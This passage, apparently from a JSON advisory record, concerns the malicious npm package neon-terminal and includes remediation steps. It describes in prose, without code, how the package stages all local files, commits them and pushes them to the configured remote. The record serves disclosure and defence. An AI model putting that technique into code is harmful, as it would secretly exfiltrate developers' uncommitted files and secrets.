If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4.

When loaded inside a project that is a git repository, this stages every local file (including untracked/uncommitted files that may contain secrets, credentials, or in-progress code), creates a commit under the installer's git identity, and pushes to whatever `origin` remote is configured. The behavior is undocumented, ungated, and unrelated to the package's advertised purpose. Consequences on the installer: (1) unauthorized commits to the installer's repository under the installer's identity; (2) exfiltration of local, previously-uncommitted files to the configured remote (which may be a public or third-party-visible repo); (3) destructive mutation of git history / branch state without consent.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in neon-terminal (npm)","id":"MAL-2026-6793","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"neon-terminal","purl":"pkg:npm/neon-terminal","source":"MAL-2026-6793"}],"products":null,"published":"2026-07-06","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6793/"}
